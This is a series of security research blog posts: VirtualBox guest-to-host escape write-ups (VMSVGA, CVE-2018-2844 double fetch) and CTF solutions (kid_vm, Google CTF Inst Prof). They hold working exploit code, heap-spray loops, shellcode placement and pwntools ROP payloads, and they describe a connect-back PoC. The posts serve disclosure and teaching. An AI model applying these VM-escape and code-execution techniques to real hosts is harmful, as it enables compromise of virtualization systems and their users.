STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
</span></pre>
<br />
<b>Locating and overwriting HGCMClient Object:</b><br />
<br />
Once heap spray is done, use the out of bound read to leak memory relative to the surfaces starting from SVGA3D_MAX_SURFACE_IDS – 1. If any HGCMClient is found, stop the search, else keep going.
<br />
<pre class="prettyprint">/* leak memory */
for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
rv = find_hgcm_client(memory, 0x1000, &details);
if (rv == 0) {
surface_id = i;
break;
}
}
</pre>
Once the client object is found, we know the location of the object by leaking its ‘pSelf’ pointer. The object’s vtable is a pointer to VBoxC.dylib. Both of this can be used to break ASLR. Later corrupt the object using the out of bound write relative to the surface id found during the search.
<br />
<pre class="prettyprint"> access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
</pre>
Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
<br />
<pre class="prettyprint"> warnx("[+] Triggering payload...");
disconnect_client(details.key);
</pre>
<br />
<b>Environment:</b><br />
<br />
Guest: Ubuntu Server 16.04.5 64-bit with single vCPU and VMSVGA enabled<br />
Host: MacOS High Sierra 10.13.6. Note that MacOS Mojave does not support older versions of VirtualBox<br />
VirtualBox: Version 5.1.22 r115126<br />
<br />
Exploit took around 3 minutes to complete due to the heap spray involved. The proof-of-concept exploit code and other code can be found at <a href="https://github.com/renorobert/virtualbox-vmsvga-bugs" style="color: #0099ff;">virtualbox-vmsvga-bugs</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='900' height='470' src='https://www.blogger.com/video.g?token=AD6v5dzbPlg9JCUruT_MHXRT1BJuRaPS-l0hjNQL5xtlhD6oDNck2YDLBwF-rdC_ltg3tQosMps1sCsiGlAWYkXbNQ' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<br />
<br />
<b> References and further readings:</b><br />
<br />
[1] <a href="https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf" style="color: #0099ff;">GPU Virtualization on VMware’s Hosted I/O Architecture</a> <br />
[2] <a href="https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt" style="color: #0099ff;">VMware SVGA Device Interface and Programming Model</a> <br />
[3] <a href="https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf" style="color: #0099ff;">CLOUDBURST - A VMware Guest to Host Escape Story</a> <br />
[4] <a href="https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf" style="color: #0099ff;">Attacking hypervisors through hardware emulation</a> <br />
[5] <a href="https://www.virtualbox.org/manual/ch08.html" style="color: #0099ff;">VBoxManage</a> <br />
[6] <a href="https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html" style="color: #0099ff;">Oracle Critical Patch Update Advisory - January 2015</a> <br />
[7] <a href="https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html" style="color: #0099ff;">Oracle Critical Patch Update Advisory - July 2017</a> <br />
[8] <a href="https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html" style="color: #0099ff;">Oracle Critical Patch Update Advisory - October 2017</a> <br />
[9] <a href="https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf" style="color: #0099ff;">Heapple Pie - The macOS/iOS default heap</a> <br />
[10] <a href="https://github.com/blankwall/MacHeap" style="color: #0099ff;">In the Zone: OS X Heap Exploitation </a> <br />
[11] <a href="https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf" style="color: #0099ff;">Thinking outside the VirtualBox</a> </div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com1tag:blogger.com,1999:blog-3932878064881956934.post-74968327236228856512018-08-28T14:34:00.000+05:302018-11-01T21:48:51.908+05:30From Compiler Optimization to Code Execution - VirtualBox VM Escape - CVE-2018-2844<div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
Oracle fixed some of the issues I reported in VirtualBox during the Oracle Critical Patch Update - April 2018. CVE-2018-2844 was an interesting double fetch vulnerability in VirtualBox Video Acceleration (VBVA) feature affecting Linux hosts. VBVA feature works on top of VirtualBox Host-Guest Shared Memory Interface (HGSMI), a shared memory implemented using Video RAM buffer.
The VRAM buffer is at physical address 0xE0000000
<br />
<pre class="prettyprint">sudo lspci -vvv
00:02.0 VGA compatible controller: InnoTek Systemberatung GmbH VirtualBox Graphics Adapter (prog-if 00 [VGA controller])
...
Interrupt: pin A routed to IRQ 10
Region 0: Memory at e0000000 (32-bit, prefetchable) [size=16M]
Expansion ROM at <unassigned> [disabled]
Kernel modules: vboxvideo
</unassigned></pre>
The guest sets up command buffer using HGSMI as below and writes the offset in VRAM to IO port VGA_PORT_HGSMI_GUEST (0x3d0) to notify the host.
<br />
<pre class="prettyprint"> HGSMIBUFFERHEADER header;
uint8_t data[header.u32BufferSize];
HGSMIBUFFERTAIL tail;
</pre>
The bug specifically occurs in code handling Video DMA (VDMA) commands passed from Guest to Host. The VDMA command handling function vboxVDMACmdExec() dispatches to specific functions based on VDMA command types. This is implemented as switch case statements.
<br />
<pre class="prettyprint">static int
vboxVDMACmdExec(PVBOXVDMAHOST pVdma, const uint8_t *pvBuffer, uint32_t cbBuffer)
{
/* pvBuffer is shared memory in VRAM */
PVBOXVDMACMD pCmd = (PVBOXVDMACMD)pvBuffer;
switch (pCmd->enmType) {
case VBOXVDMACMD_TYPE_CHROMIUM_CMD: {
...
}
case VBOXVDMACMD_TYPE_DMA_PRESENT_BLT: {
...
}
case VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER: {
...
}
case VBOXVDMACMD_TYPE_DMA_NOP: {
...
}
case VBOXVDMACMD_TYPE_CHILD_STATUS_IRQ: {
...
}
default: {
...
}
}
}
</pre>
The compiler optimizes the switch cases to jump tables. This is what it looks like after optimization:
<br />
<pre class="prettyprint">; first fetch happens for cmp
.text:00000000000B957A cmp dword ptr [r12], 0Ah ; switch 11 cases
.text:00000000000B957F ja VBOXVDMACMD_TYPE_DEFAULT ; jumptable 00000000000B9597 default case
; second fetch again for pCmd->enmType from shared memory
.text:00000000000B9585 mov eax, [r12]
.text:00000000000B9589 lea rbx, vboxVDMACmdExec_JMPS
.text:00000000000B9590 movsxd rax, dword ptr [rbx+rax*4]
.text:00000000000B9594 add rax, rbx
.text:00000000000B9597 jmp rax ; switch jump
</pre>
<pre class="prettyprint">.rodata:0000000000185538 vboxVDMACmdExec_JMPS dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 ; DATA XREF: vboxVDMACommand+1D9o
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_PRESENT_BLT - 185538h ; jump table for switch statement
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185564 align 20h
</pre>
The issue is quite clear, its a TOCTOU bug. Since the variable is not marked volatile, GCC optimizations resulted in double fetch from shared VRAM memory. I didn't see such optimization in VirtualBox for Windows and OSX. Only Linux hosts are affected. <br />
<br />
Note that this kind of issue is not new. We have prior research <a href="https://www.ernw.de/download/xenpwn.pdf" style="color: #0099ff;">Xenpwn - Breaking Paravirtualized Devices</a> by Felix Wilhelm on similar issue found in <a href="https://xenbits.xen.org/xsa/advisory-155.html" style="color: #0099ff;">Xen</a> <br />
<br />
<b>Exploitation:</b> <br />
<br />
Though the race window is really small, it can be reliably won on guests having more than one vCPU.
<br />
<pre class="prettyprint"> RAX 0xdeadbeef
RBX 0x7fff8abf2538 ◂— rol byte ptr [rdx - 0xd], 1
RCX 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
RDX 0xe7b
RDI 0xeeb
RSI 0x7fffdc022000 ◂— xor byte ptr [rax], al /* 0xffe40030; '0' */
R8 0x7fff89d20000 ◂— jmp 0x7fff89d20010 /* 0xb020000000eeb */
R9 0x7fff8ab06040 ◂— push rbp
R10 0x7fff9c50ad48 ◂— 0x1
R11 0x7fff9c508d48 ◂— 0x0
R12 0x7fff89d20078 ◂— 0xa /* '\n' */
R13 0xf3b
R14 0x7fff9c50d0e0 —▸ 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
R15 0x7fff89d20030 ◂— 0xffffffdc0f3b0eeb
RBP 0x7fffba44dc40 —▸ 0x7fffba44dca0 —▸ 0x7fffba44dce0 —▸ 0x7fffba44dd00 —▸ 0x7fffba44dd50 ◂— ...
RSP 0x7fffba44db80 —▸ 0x7fffba44dbb0 —▸ 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
RIP 0x7fff8ab26590 ◂— movsxd rax, dword ptr [rbx + rax*4]
► 0x7fff8ab26590 movsxd rax, dword ptr [rbx + rax*4]
0x7fff8ab26594 add rax, rbx
0x7fff8ab26597 jmp rax
</pre>
RAX is controlled by guest. R8, R12 and R15 points to offsets within HGSMI buffer during the crash. The jump table uses relative addressing, hence once cannot directly call into a pointer. First plan was to find a feature, which allows to write a controlled value in VBoxDD.so from guest and further use it as fake jump table. However, I failed to find one.<br />
<br />
Next option is to directly jump to the VRAM buffer mapped with RWX permissions using whatever value available for fake jump table.
<br />
<pre class="prettyprint"> // VRAM buffer
0x7fff88d21000 0x7fff89d21000 rwxp 1000000 0
// VBoxDD.so
0x7fff8aa6d000 0x7fff8adff000 r-xp 392000 0 /usr/lib/virtualbox/VBoxDD.so
0x7fff8adff000 0x7fff8afff000 ---p 200000 392000 /usr/lib/virtualbox/VBoxDD.so
0x7fff8afff000 0x7fff8b010000 r--p 11000 392000 /usr/lib/virtualbox/VBoxDD.so
0x7fff8b010000 0x7fff8b018000 rw-p 8000 3a3000 /usr/lib/virtualbox/VBoxDD.so
</pre>
Find a value in VBoxDD.so (assume as some fake jump table), which during relative address calculation will point into the 16MB shared VRAM buffer. For the proof-of-concept exploit fill the entire VRAM with NOP's and place the shellcode at the final pages of the mapping. No ASLR bypass is needed since the jump is relative. <br />
<br />
In the guest, add vboxvideo to /etc/modprobe.d/blacklist.conf. vboxvideo.ko driver has a custom allocator to manage VRAM memory and HGSMI guest side implementations. Blacklisting vboxvideo reduces activity on VRAM and keeps the payload intact. The exploit was tested with Ubuntu Server 16.04.3 64-bit as guest and Ubuntu Desktop 16.04.4 64-bit as host running <a href="https://download.virtualbox.org/virtualbox/5.2.6/virtualbox-5.2_5.2.6-120293~Ubuntu~xenial_amd64.deb" style="color: #0099ff;">VirtualBox 5.2.6.r120293</a>.<br /> <br />
The proof-of-concept exploit code with process continuation and connect back over network can be found at <a href="https://github.com/renorobert/virtualbox-cve-2018-2844" style="color: #0099ff;">virtualbox-cve-2018-2844</a><br />
<br />
<div class="separator" style="clear: both; text-align: center; border-radius: 25px">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='900' height='470' src='https://www.blogger.com/video.g?token=AD6v5dymjmewhvl6QBWR6WStVrrLZiF1E7JGgfmoi_h-daXUXXLPM0eN210v_0tayKMsF9qZy4jMMi_5mDsB5K9iFg' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<br />
<br />
<b>References:</b> <br />
<br />
[1] <a href="https://www.ernw.de/download/xenpwn.pdf" style="color: #0099ff;">Xenpwn - Breaking Paravirtualized Devices by Felix Wilhelm</a> <br />
[2] <a href="https://blogs.securiteam.com/index.php/archives/3649" style="color: #0099ff;">SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities by Niklas Baumstark</a> <br />
[3] <a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html" style="color: #0099ff;">VM escape - QEMU Case Study by Mehdi Talbi & Paul Fariello</a> <br />
[4] <a href="https://xenbits.xen.org/xsa/advisory-155.html" style="color: #0099ff;">Xen Security Advisory CVE-2015-8550 / XSA-155</a> <br />
[5] <a href="http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html" style="color: #0099ff;">Oracle Critical Patch Update Advisory - April 2018</a> <br />
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com10tag:blogger.com,1999:blog-3932878064881956934.post-41252808681735873332018-08-11T14:49:00.000+05:302018-11-25T15:10:44.518+05:30Real World CTF - kid_vm<div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
kid_vm is a KVM API based challenge. The provided user space binary uses KVM ioctl calls to setup guest and execute guest code in 16-bit real mode. The binary comes with following mitigations
<br />
<pre class="prettyprint"> RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
</pre>
The guest code is copied to a page allocated using mmap. KVM_SET_USER_MEMORY_REGION call then sets up guest memory with guest physical starting at address 0 and backing memory pointing to the mmap’ed page
<br />
<pre class="prettyprint">
guest_memory = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (!guest_memory) {
perror("Mmap fail");
return 1;
}
/* copy guest code */
memcpy(guest_memory, guest, sizeof(guest));
region.slot = 0;
region.guest_phys_addr = 0;
region.memory_size = 0x10000;
region.userspace_addr = (uint64_t) guest_memory;
if (ioctl(vm, KVM_SET_USER_MEMORY_REGION, &region) == -1) {
</pre>
The guest code also sets KVM_GUESTDBG_SINGLESTEP which causes VM exit (KVM_EXIT_DEBUG) on each step. KVM does doesn't seem to notify userspace code on VM exit caused by vmcall. Single stepping looks like a work around to detect vmcall instruction.
<br />
<pre class="prettyprint"> memset(&debug, 0, sizeof(debug));
debug.control = KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_SINGLESTEP;
if (ioctl(vcpu, KVM_SET_GUEST_DEBUG, &debug) < 0) {
perror("Fail");
return 1;
}
</pre>
The next interesting part of code is the user space VM exit handler
<br />
<pre class="prettyprint"> switch (run->exit_reason) {
case KVM_EXIT_IO:
if (run->io.direction == KVM_EXIT_IO_OUT && run->io.size == 1
&& run->io.port == 23 && run->ex.error_code == 1) {
putchar(*((char *)run + run->io.data_offset));
continue;
}
if (run->io.direction == KVM_EXIT_IO_IN && run->io.size == 1
&& run->io.port == 23 && run->ex.error_code == 1) {
read(0, ((char *)run + run->io.data_offset), 1);
continue;
}
fwrite("Unhandled IO\n", 1, 0xD, stderr);
return 1;
case KVM_EXIT_DEBUG:
if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
puts("Error get regs!");
/* check if VMCALL instruction */
if (guest_memory[regs.rip] == 0xF && guest_memory[regs.rip + 1] == 1
&& guest_memory[regs.rip + 2] == 0xC1) {
if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
puts("Error get regs!");
switch (regs.rax) {
case 0x101:
free_memory(regs.rbx, regs.rcx);
break;
case 0x102:
copy_memory(regs.rbx, regs.rcx, regs.rdx, guest_memory);
break;
case 0x100:
alloc_memory(regs.rbx);
break;
default:
puts("Function error!");
break;
}
}
continue;
</pre>
VM exits caused port I/O ( KVM_EXIT_IO) are handled to read and write data using stdin/stdout. Three interesting hypercalls are implemented on top of KVM_EXIT_DEBUG event. <br />
<br />
<b>Host Bugs:</b><br />
<br />
<b>A.</b> The array that manages host allocations and size, can be accessed out of bound by all 3 hypercalls (free_memory, copy_memory, alloc_memory)
Below is the code from alloc_memory
<br />
<pre class="prettyprint"> /* index can take the value 16 here when going out of loop */
for (index = 0; index <= 0xF && allocations[index]; ++index);
mem = malloc(size);
if (mem) {
allocations[index] = mem; // out of bounds access
alloca_size[index] = size; // can overwrite allocations[0]
++number_of_allocs;
</pre>
This bug is less interesting for exploitation, since there is an use-after-free which gives better primitives<br />
<br />
<b>B.</b> The hypercall for freeing memory has an option to free a pointer but not clear the reference. However the guest code enables to access only case 3.
<br />
<pre class="prettyprint"> if (index <= 16) { // out of bound access
switch (choice) {
case 2:
free(allocations[index]);
allocations[index] = 0;
// can be decremented arbitrary number of times
--number_of_allocs;
break;
case 3:
free(allocations[index]);
allocations[index] = 0;
alloca_size[index] = 0;
// can be decremented arbitrary number of times
--number_of_allocs;
break;
case 1:
// double free/UAF as pointer is not set to NULL
free(allocations[index]);
break;
}
}
</pre>
This UAF can be further exercised in the hypercall to copy memory between guest and host
<br />
<pre class="prettyprint"> if (size <= alloca_size[index]) {
if (choice == 1) {
// write to freed memory due to UAF
memcpy(allocations[index], guest_memory + 0x4000, size);
}
else if (choice == 2) {
// read from uninitialized or freed memory
memcpy(guest_memory + 0x4000, allocations[index], size);
}
}
</pre>
<b>Guest Bug:</b><br />
<br />
Though the host code has UAF, this bug cannot be triggered using the guest code thats currently under execution. Hence we need to achieve code execution in the guest before trying for a VM escape.
The guest code starts at address 0. It initializes the stack pointer to 0x3000
<br />
<pre class="prettyprint">seg000:0000 mov sp, 3000h
seg000:0003 call main
seg000:0006 hlt
</pre>
The guest code to allocate memory in guest looks like below:
<br />
<pre class="prettyprint">seg000:007E mov ax, offset size_value
seg000:0081 mov bx, 2 ; get 2 byte size
seg000:0084 call inb
seg000:0087 mov ax, ds:size_value
seg000:008A cmp ax, 1000h ; check if size < 0x1000
seg000:008D ja short size_big
seg000:008F mov cx, ds:total_bytes
seg000:0093 cmp cx, 0B000h
seg000:0097 ja short guest_mem_full
seg000:0099 mov si, word ptr ds:nalloc
seg000:009D cmp si, 16 ; check the number of allocations made
seg000:00A0 jnb short too_many_allocs
seg000:00A2 mov di, cx
; move beyond stack@0x3000 and host shared_mem@0x4000, but this can wrap
seg000:00A4 add cx, 5000h
seg000:00A8 add si, si
seg000:00AA mov ds:address_array[si], cx ; save address
seg000:00AE mov ds:size_array[si], ax ; save size
seg000:00B2 add di, ax
seg000:00B4 mov ds:total_bytes, di
seg000:00B8 mov al, ds:nalloc
seg000:00BB inc al
seg000:00BD mov ds:nalloc, al
</pre>
The guest uses the following memory region:
<br />
<pre class="prettyprint">text region @ 0x0
stack bottom @ 0x3000
shared memory @ 0x4000
heap @ 0x5000 – 0x5000+0xB000
</pre>
The guest memory allocator starts at address 0x5000 and checks for maximum memory limit allocated being 0xB000. However the check total_bytes + 0x5000 can wrap to 0 during 16-bit addition. This allocation at address 0, allows to overwrite guest code with arbitrary code. Now the vulnerable hypercall paths in host can be triggered from guest.<br />
<br />
<b>Exploitation:</b> <br />
<br />
I didn’t overwrite the entire guest code, but extended its functionality with the following changes to set bx with user supplied values during vmcall
<br />
<pre class="prettyprint">seg000:0058 _free_memory: ; CODE XREF: main+2A↑j
seg000:0058 call get_choice
seg000:005B jmp short loop
</pre>
<pre class="prettyprint">seg000:01A3 call set_choice
seg000:01A6 mov cl, ds:index ; index
seg000:01AA mov dx, ds:size_value
seg000:01AE vmcall
</pre>
<pre class="prettyprint">
seg000:01DF mov ax, 101h ; free
seg000:01E2 call set_choice
seg000:01E5 mov cl, ds:index
seg000:01E9 vmcall
</pre>
<pre class="prettyprint">seg000:0386 choice dw 0 ; DATA XREF: get_choice+B↓o
seg000:0386 ; set_choice↓r
seg000:0388
</pre>
<pre class="prettyprint">seg000:0388 get_choice proc near ; CODE XREF: main:_free_memory↑p
seg000:0388 push ax
seg000:0389 push bx
seg000:038A mov ax, (offset aElcomeToTheVir+0B7h) ;
seg000:038D mov bx, 0Ch
seg000:0390 call outb
seg000:0393 mov ax, offset choice
seg000:0396 mov bx, 1
seg000:0399 call inb
seg000:039C pop bx
seg000:039D pop ax
seg000:039E retn
seg000:039E get_choice endp
seg000:039E
</pre>
<pre class="prettyprint">seg000:039F set_choice proc near ; CODE XREF: update_host_memory+4C↑p
seg000:039F ; free_host_memory+1F↑p
seg000:039F mov bx, ds:choice
seg000:03A3 retn
seg000:03A3 set_choice endp
</pre>
<b>Leaking libc and heap pointers:</b><br />
<br />
Since unsorted chunk freelist pointers can be read using UAF, this leaks arena and heap pointers. Allocate 4 chunks, free alternate chunks to prevent coalescing and read the pointers using UAF as below:
<br />
<pre class="prettyprint">for x in range(4):
allocate_host_memory(256)
free_host_memory(0, INVALID_FREE)
free_host_memory(2, VALID_FREE)
copy_memory(256, 0, 'A'*256, COPY_FROM_HOST)
heap_mem = p.recvn(0x1000)
</pre>
<b>Getting code execution:</b><br />
<br />
House of Orange works for this situation. Create a large chunk and free it, but hold reference to the pointer. Later use this reference to overwrite the top chunk to gain code execution. The flag in rwctf format was <b>WoW_YoU_w1ll_B5_A_FFFutuRe_staR_In_vm_E5c4pe</b>. The exploit for the challenge can be <a href="https://github.com/renorobert/rwctf-kid-vm" style="color: #0099ff;">found here </a> <br />
<br />
<b>References: </b>
<a href="https://lwn.net/Articles/658511/" style="color: #0099ff;">Using the KVM API</a>, <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c" style="color: #0099ff;">House of Orange </a>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-80168680863800470322017-07-02T19:14:00.000+05:302018-08-11T17:09:26.049+05:30Google CTF – Pwnables - Inst Prof
<div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<b>Summary of Exploitation:</b><br /><br />
Leak CPU Time Stamp Counter (TSC)<br />
Predict TSC values<br />
Leak ELF base address using predicted TSC values<br />
Return into read_n function<br />
ROP payload of mprotect + read to execute shellcode<br /><br />
<b>Analysis:</b><br /><br />
The provided binary is a 64-bit ELF with PIE and NX enabled with below functions:<br /><br />
• Main function sets up alarm for 30 seconds and invokes do_test function in infinite loop<br />
• Allocate a memory page using mmap with PROT_READ | PROT_WRITE permission<br />
• Copy a template code which executes 4 NOPs in a loop 0x1000 times<br />
• Replace NOP with 4 bytes of user supplied code<br />
• Make the page PROT_READ | PROT_EXEC using mprotect<br />
• Measure the TSC before execution of shellcode<br />
• Execute the shellcode<br />
• Measure the TSC after execution of shellcode<br />
• Output the difference in TSC<br />
• Free the page using munmap and execute the loop again<br />
<br />
<b>Leaking CPU Time Stamp Counter (TSC):</b><br />
<pre class="prettyprint">
.text:0000000000000B08 rdtsc ; get Time Stamp Counter
.text:0000000000000B0A shl rdx, 20h
.text:0000000000000B0E mov r12, rax
.text:0000000000000B11 xor eax, eax
.text:0000000000000B13 or r12, rdx ; load TSC values in RDX & RAX to R12
.text:0000000000000B16 call rbx ; execute the shellcode
.text:0000000000000B18 rdtsc ; get Time Stamp Counter
.text:0000000000000B1A mov edi, 1
.text:0000000000000B1F shl rdx, 20h
.text:0000000000000B23 lea rsi, [rbp+buf]
.text:0000000000000B27 or rdx, rax
.text:0000000000000B2A sub rdx, r12 ; Find the difference in TSC
.text:0000000000000B2D mov [rbp+buf], rdx
.text:0000000000000B31 mov edx, 8
.text:0000000000000B36 call _write ; Output the result
</pre>
The TSC value is stored in R12 before execution of shellcode, later used for measuring difference as
<pre class="highlight">
.text:0000000000000B2A sub rdx, r12
</pre>
If the 4-byte user supplied code does xor r12, r12, the program outputs the entire RDX value (i.e. TSC) and goes into the next loop
<br /><br />
<b>Idea to leak pointers:</b><br /><br />
Load register R12 with a pointer fetched from stack as mov r12, [rbp-offset]. Now the program outputs (TSC – pointer loaded into R12). The problem here is both TSC and pointer in R12 are unknown values. However, we know the TSC value leaked from previous execution of loop. Let’s try to predict the current TSC value based on previous value.
<br /><br />
<b>TSC is measured under following conditions:</b><br /><br />
• Initial executions of do_test will take more CPU cycles due to cache effect<br />
• Executing the do_test function multiple times will reduce the CPU cycles between loops. This is cache warming<br />
• Do not read/write data per loop. Send all the payload once and read the output after all their executions. There should be no blocking<br />
<br />
Consider the below code snippet:<br />
<pre class="prettyprint">
for _ in range(16):
payload += asm("xor r12, r12; nop")
r.send(payload)
tsc_values = r.recv(8 * 16)
first_tsc = u64(tsc_values[0:8])
prev_tsc = first_tsc
print("[+] TSC = 0x%x" % (first_tsc))
for i in range(1, 16):
curr_tsc = u64(tsc_values[i*8:(i+1)*8])
diff_tsc = curr_tsc - prev_tsc
prev_tsc = curr_tsc
print("[+] TSC = 0x%x, diff = 0x%x" % (curr_tsc, diff_tsc))
</pre>
<pre class="prettyprint">
$ python tsc_leak.py
[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[+] TSC = 0x244baebdaa75f
[+] TSC = 0x244baebdc57b4, diff = 0x1b055
[+] TSC = 0x244baebdcb015, diff = 0x5861
[+] TSC = 0x244baebdcfdb8, diff = 0x4da3
[+] TSC = 0x244baebdd47d8, diff = 0x4a20
[+] TSC = 0x244baebdd9272, diff = 0x4a9a
[+] TSC = 0x244baebdddd3b, diff = 0x4ac9
[+] TSC = 0x244baebde2850, diff = 0x4b15
[+] TSC = 0x244baebde7353, diff = 0x4b03
[+] TSC = 0x244baebdebf1b, diff = 0x4bc8
[+] TSC = 0x244baebdf0a4d, diff = 0x4b32
[+] TSC = 0x244baebdf56d3, diff = 0x4c86
[+] TSC = 0x244baebdfa1ec, diff = 0x4b19
[+] TSC = 0x244baebdfecdc, diff = 0x4af0
[+] TSC = 0x244baebe037b3, diff = 0x4ad7
[+] TSC = 0x244baebe08c23, diff = 0x5470
</pre>
After the first few executions with higher CPU cycles, the values have come down and more regular i.e. predictable with good accuracy, except for some of the LSB bits <br /><br />
<b>Leaking ELF base address:</b><br /><br />
To leak the ELF base address, load R12 register with value from rbp-0x28. This holds the pointer to
<pre class="prettyprint">
.text:0000000000000B18 rdtsc
</pre>
Now the program outputs (predicted TSC value – pointer loaded into R12), from which the pointer in R12 register can be computed. The last few bits might be inaccurate. However, the last 12 bits of the pointer are known as they are not randomized due to page alignment. <br /><br />
Can the LSB bits also can be leaked reliably using the technique? Yes, read the pointers in two chunks. i.e. instead of reading from rbp-0x28 as below:
<pre class="prettyprint">
gdb-peda$ x/gx $rbp-0x28
0x7fffffffde48: 0x0000555555554b18
</pre>
Read the pointers into halves twice. Out of 8-byte address, 2 MSB bytes are 0x00
<pre class="prettyprint">
gdb-peda$ x/gx $rbp-0x2a
0x7fffffffde46: 0x555555554b180000
gdb-peda$ x/gx $rbp-0x2d
0x7fffffffde43: 0x554b180000000000
</pre>
Since MSB bytes of TSC can be reliable found unlike the LSB bytes, this results in a reliable info leak. Below is the code:
<pre class="prettyprint">
for _ in range(16):
payload += asm("xor r12, r12; nop")
# try finding difference in execution time between do_loop to predict rdtsc output
payload += asm("xor r12, r12; nop")
payload += asm("xor r12, r12; nop")
payload += asm("mov r12, [rbp-0x2d]") # leak 3 lsb bytes, unaligned read
payload += asm("xor r12, r12; nop")
payload += asm("xor r12, r12; nop")
payload += asm("mov r12, [rbp-0x2a]") # leak 3 msb bytes, unaligned read
print("[+] warming up cache for leaking pointers")
r.send(payload)
r.recv(16 * 8)
# leaking pointers in two chunks to make up for less predictable LSB values of TSC
t1 = u64(r.recv(8)) # leak lsb bytes
t2 = u64(r.recv(8))
diff = t2 - t1
expected_value = t2 + diff
t3 = u64(r.recv(8))
print("[+] leaked TSC value = 0x%x") % (t1)
pointer_lsb = ((expected_value - t3) & 0xffffffffffffffff) >> 40
print("[+] pointer_lsb = 0x%x" % (pointer_lsb))
t1 = u64(r.recv(8)) # leak msb bytes
t2 = u64(r.recv(8))
diff = t2 - t1
expected_value = t2 + diff
t3 = u64(r.recv(8))
pointer_msb = ((expected_value - t3) & 0xffffffffffffffff) >> 40
print("[+] pointer_msb = 0x%x" % (pointer_msb))
# .text:0000000000000B18 rdtsc
pointer = (pointer_msb << 24) | pointer_lsb
print("[+] leaked address = 0x%x" % (pointer))
elf_base = pointer & 0xfffffffffffff000
print("[+] ELF base address = 0x%x" % (elf_base))
</pre>
<b>Gaining RIP control using relative write w.r.t RBP:</b><br /><br />
Once the ELF base address is leaked, a small ROP payload is setup in stack to invoke the read_n function using a series of mov operations:
<pre class="prettyprint">
# payload to return into read_n function
payload = asm("mov r13, rsp; ret")
payload += asm("mov r14, [r13]") # .text:0000000000000B18 rdtsc
payload += asm("mov r14b, 0xc3; ret") # modify LSB to get pop rdi gadget
payload += asm("mov r15, [rbp-0x48]") # .text:0000000000000AA3 mov[rbx-1],al
payload += asm("mov r15b, 0x80; ret") # modify LSB to get read_n address
payload += asm("mov [rbp+24], r15") # return into read_n
payload += asm("mov [rbp+16], r13") # stack address as argument for read_n
payload += asm("mov [rbp+8], r14") # overwrite RIP with pop rdi; read_n(stack_address, 0x1000)
r.send(payload)
</pre>
RSI already holds the value 0x1000 due to the program state, hence the call becomes read_n(RSP, 0x1000). The function reads and executes a ROP payload to perform the below operations:
<pre class="prettyprint">
mprotect(elf_base, 0x1000, 7)
read(0, elf_base, 0x100)
jmp elf_base
